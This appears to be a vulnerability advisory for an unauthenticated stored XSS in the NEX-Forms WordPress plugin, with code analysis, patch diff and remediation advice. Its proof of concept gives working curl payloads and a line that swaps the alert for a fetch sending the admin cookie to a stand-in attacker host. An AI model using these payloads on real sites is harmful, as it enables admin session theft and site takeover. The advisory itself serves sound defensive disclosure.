CVE-2026-5063: Stored XSS in NEX-Forms via Form Submission
Table of Contents
CVE-2026-5063 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the NEX-Forms – Ultimate Forms Plugin for WordPress WordPress plugin. An unauthenticated attacker can submit a crafted form entry that stores a JavaScript payload in the database; the payload executes automatically in any administrator’s browser when they view the form submissions dashboard.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | NEX-Forms – Ultimate Forms Plugin for WordPress |
| Plugin Slug | nex-forms-express-wp-form-builder |
| CVE ID | CVE-2026-5063 |
| CVSS Score | 7.2 (High) |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 9.1.11 |
| Patched Version | 9.1.12 |
| Published | May 2, 2026 |
| Researcher | Naoya Takahashi (nakko) |
| Wordfence Advisory | Link |
Description
An unauthenticated attacker can inject malicious JavaScript into a WordPress site by submitting a crafted form entry. The plugin stores every POST parameter key and value from form submissions — including parameters the attacker creates with arbitrary names. Due to insufficient input sanitization and missing output escaping, the stored payload executes in the browser of any administrator who views the form submission dashboard.
This class of vulnerability is highly impactful. An attacker needs no account on the target site. They only need one active form. The payload runs in the administrator’s browser session, which means an attacker can steal session cookies, create rogue admin accounts, redirect site visitors, or inject persistent backdoors into the site.
Technical Analysis
Entry Point: Unauthenticated AJAX Handler
The plugin registers the submit_nex_form function on two WordPress AJAX hooks:
// main.php:2656-2657
add_action( 'wp_ajax_submit_nex_form', 'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' );
The wp_ajax_nopriv_ prefix makes this endpoint available to unauthenticated users. Anyone can send a POST request to wp-admin/admin-ajax.php?action=submit_nex_form.
Vulnerable Code Path
Step 1 — Data Collection in submit_nex_form() (main.php:2833)
The function iterates over all POST parameters, not just fields defined in the form:
// main.php:2833-2901
foreach ( $_POST as $key => $val ) {
$key = sanitize_text_field( $key );
$key = esc_html( $key );
if ( /* key not in blacklist */ ) {
// If a `real_val__KEY` override exists and is an array,
// the raw unsanitized value replaces $val entirely.
if ( array_key_exists( 'real_val__' . $key, $_POST ) ) {
if ( ! is_array( $_POST[ 'real_val__' . $key ] ) ) {
$val = sanitize_text_field( $_POST[ 'real_val__' . $key ] );
} else {
// Array value: no sanitization applied here.
$val = $_POST[ 'real_val__' . $key ];
}
}
if ( is_array( $val ) || is_object( $val ) ) {
// rest_sanitize_array() only calls array_values() —
// it does NOT sanitize the element content.
$data_array[] = array(
'field_name' => $key,
'field_value' => rest_sanitize_array( $val ),
);
} else {
$val = strip_tags( $val );
$data_array[] = array(
'field_name' => $key,
'field_value' => sanitize_text_field( str_replace( '\\', '', $val ) ),
);
}
}
}
There are two code paths for storing values:
-
Scalar values:
strip_tags()followed bysanitize_text_field(). These functions strip HTML tags but do not encode HTML special characters for safe output. A value that bypasses tag stripping (e.g. via malformed markup, PHP version quirks, or by exploiting thereal_val__array override) gets stored without HTML-entity encoding. -
Array values (via
real_val__KEY[]POST syntax):rest_sanitize_array()is called, which only calls PHP’sarray_values(). This discards array keys but does not sanitize element values. An XSS payload submitted inside an array bypasses all input sanitization entirely.
The sanitized key ($key) and the partially-sanitized value are stored in the form_data column of wp_{prefix}wap_nex_forms_entries as JSON:
// main.php:2944-2959
$wpdb->insert( $wpdb->prefix . 'wap_nex_forms_entries', array(
...
'form_data' => json_encode( $data_array ),
...
) );
Step 2 — Unescaped Output in NEXForms_get_entry_data_preview() (class.db.php:3651)
This function retrieves stored form entries and renders a preview for the admin dashboard “Data Summary” column. It is called for every row in the “Latest Entries” table on the plugin’s dashboard page.
// includes/classes/class.db.php:3662-3685 (vulnerable version 9.1.11)
$set_form_data = $wpdb->get_var( $get_the_data );
$form_data = json_decode( $set_form_data, 1 );
foreach ( $form_data as $data ) {
if ( $i < 2 ) {
$field_name = ( isset( $data['field_name'] ) ? $data['field_name'] : '' );
$field_value = ( isset( $data['field_value'] ) ? $data['field_value'] : '' );
if ( ! is_array( $field_value ) ) {
if ( ! strstr( $field_value, 'data:image' ) )
// ⚠ $field_value is output directly — no esc_html()
$set_data .= '<span class="entry_data_name">'
. $nf_functions->unformat_records_name( $field_name )
. '</span> : <span class="entry_data_value">'
. $field_value
. '</span> | ';
else
// ⚠ Same issue in the image branch
$set_data .= '<span class="entry_data_name">'
. $nf_functions->unformat_records_name( $field_name )
. '</span> : <span class="entry_data_value">'
. '<img src="' . $field_value . '" width="50"/>'
. '</span> | ';
}
}
$i++;
}
$field_value is inserted directly into the HTML string with no output escaping. Any HTML or JavaScript in $field_value renders and executes in the admin’s browser.
A second unpatched location at class.db.php:2782 follows the same pattern in the batch-export view:
// class.db.php:2782 (NOT patched in 9.1.12)
$set_data .= '<span class="entry_data_name">'
. $nf_functions->unformat_records_name( $data['field_name'] )
. '</span> : <span class="entry_data_value">'
. $data['field_value'] // ⚠ still unescaped
. '</span> | ';
Root Cause
The submit_nex_form() function accepts POST parameters with attacker-chosen key names and stores their values with insufficient input sanitization. The NEXForms_get_entry_data_preview() function outputs stored field values without esc_html(), so any HTML that survives storage renders in the admin’s browser.
Why Existing Controls Failed
The key name ($key) is sanitized with sanitize_text_field() and esc_html() before storage, and unformat_records_name() re-sanitizes it before display — so the key is safe. However, the value ($val) uses only strip_tags() and sanitize_text_field(), neither of which encodes HTML entities for output. On the display side, the developer called unformat_records_name() on the field name but forgot to call esc_html() on the field value.
Additionally, when real_val__KEY is submitted as an array, rest_sanitize_array() skips sanitization entirely for element values, giving an attacker a direct path to store raw HTML payloads.
Attack Impact
An unauthenticated attacker can execute arbitrary JavaScript in any administrator’s browser. Because the payload runs in the WordPress admin session, the attacker can take over admin accounts, create backdoor users, modify site content, or redirect visitors to malicious sites.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
nex-forms-express-wp-form-builderplugin installed and activated. - Plugin version <= 9.1.11.
- At least one form created in the plugin (any form ID works). Replace
FORM_IDbelow with a valid form ID (visible in the plugin’s Forms list as theIdcolumn value). - Replace
https://target.example.comwith the target WordPress URL.
Step-by-Step Reproduction
Step 1: Identify a valid form ID
Log in to the WordPress admin, open NEX-Forms, and note the numeric ID of any active form (e.g. 1).
Step 2: Submit the malicious form entry
Send a POST request to the AJAX endpoint as an unauthenticated user. The payload uses the real_val__ override mechanism with an array value to bypass strip_tags() and sanitize_text_field(). The XSS payload is placed inside the array element.
curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
--data-urlencode "action=submit_nex_form" \
--data-urlencode "nex_forms_Id=FORM_ID" \
--data-urlencode "company_url=" \
--data-urlencode "email=test@example.com" \
--data-urlencode "xss_field=placeholder" \
--data-urlencode "real_val__xss_field[]=<img src=x onerror=\"alert(document.domain)\">"
You can also use the array form of a standard field name. Any POST key not in the plugin’s internal blacklist is accepted:
curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
-d "action=submit_nex_form" \
-d "nex_forms_Id=FORM_ID" \
-d "company_url=" \
-d "email=test%40example.com" \
-d "message%5B%5D=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E"
(message[]=<img src=x onerror=alert(document.domain)> URL-encoded)
Step 3: Trigger the XSS
Log in to WordPress as an administrator. Navigate to:
wp-admin/admin.php?page=nex-forms-page-dashboard
The NEX-Forms dashboard loads the “Latest Entries” table, which calls NEXForms_get_entry_data_preview() for each entry row. The injected payload in the “Data Summary” column executes immediately.
Expected Result
A JavaScript alert box displays document.domain (the site’s hostname), confirming that attacker-supplied JavaScript executed in the authenticated admin’s browser session.
Verification
- After step 2, check the
wp_{prefix}wap_nex_forms_entriestable. Theform_datacolumn for the new entry contains the unsanitized<img>payload. - After step 3, the browser displays an alert. In a real attack, replace
alert(document.domain)withfetch('https://attacker.example.com/?c='+document.cookie)to exfiltrate the admin session cookie.
Patch Analysis
What Changed
The patch modifies includes/classes/class.db.php in the NEXForms_get_entry_data_preview() function (line 3676 in the patched version). Two lines are changed.
- The plain-text display branch now wraps
$field_valuewithesc_html()before inserting it into the HTML string. - The image display branch now wraps
$field_valuewithesc_html()before inserting it into thesrcattribute.
Fix Explanation
The patch adds proper output escaping as defence-in-depth. Even if a payload survives input sanitization and is stored in the database, esc_html() converts <, >, ", ', and & to HTML entities before insertion into the page, so the browser renders the payload as text rather than executing it.
The fix addresses the output escaping gap. The input sanitization gap — specifically, the rest_sanitize_array() path that stores unsanitized array element values — is not addressed in 9.1.12. Additionally, the similar unescaped output at class.db.php:2782 (in the batch-export view) remains unpatched. These residual risks are lower-impact because they require the administrator to actively open the batch view, but they should be addressed.
Code Diff (Key Changes)
--- a/includes/classes/class.db.php
+++ b/includes/classes/class.db.php
@@ -3674,9 +3674,9 @@ function NEXForms_get_entry_data_preview($Id='',$table=''){
if(!is_array($field_value)){
if(!strstr($field_value,'data:image'))
- $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.$field_value.'</span> | ';
+ $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.esc_html($field_value).'</span> | ';
else
- $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.$field_value.'" width="50"/></span> | ';
+ $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.esc_html($field_value).'" width="50"/></span> | ';
}
Timeline
| Date | Event |
|---|---|
| — | Vulnerability discovered and reported by Naoya Takahashi (nakko) |
| May 2, 2026 | Patched version 9.1.12 released |
| May 2, 2026 | Publicly disclosed by Wordfence |
Remediation
Update the nex-forms-express-wp-form-builder plugin to version 9.1.12 or later.
If an immediate update is not possible, consider temporarily deactivating the plugin or restricting access to wp-admin/admin-ajax.php for unauthenticated users via your web server firewall rules or a WAF rule targeting action=submit_nex_form.
References
Frequently Asked Questions
What is CVE-2026-5063?
CVE-2026-5063 is a CVSS 7.2 High severity unauthenticated stored cross-site scripting vulnerability in the NEX-Forms plugin for WordPress that allows an attacker without any account to inject JavaScript that executes in an administrator's browser.
Which versions of NEX-Forms are affected by CVE-2026-5063?
All versions of NEX-Forms up to and including 9.1.11 are affected. Version 9.1.12 contains the fix and is safe to use.
What can an attacker do with CVE-2026-5063?
An attacker can execute arbitrary JavaScript in any administrator's browser when the admin views the form submissions dashboard. This allows the attacker to steal session cookies, create rogue admin accounts, modify site content, or plant persistent backdoors.
Does an attacker need to be logged in to exploit CVE-2026-5063?
No. The vulnerability is unauthenticated, so any visitor can exploit it without having a WordPress account on the target site.
How do I fix CVE-2026-5063 in NEX-Forms?
Update the NEX-Forms plugin to version 9.1.12 or later from the WordPress plugin dashboard or by downloading it from WordPress.org. If an immediate update is not possible, temporarily deactivate the plugin to remove the risk.
Has NEX-Forms been patched for CVE-2026-5063?
Yes. Version 9.1.12 was released on May 2, 2026 and adds output escaping to prevent the stored JavaScript payload from executing in the admin's browser.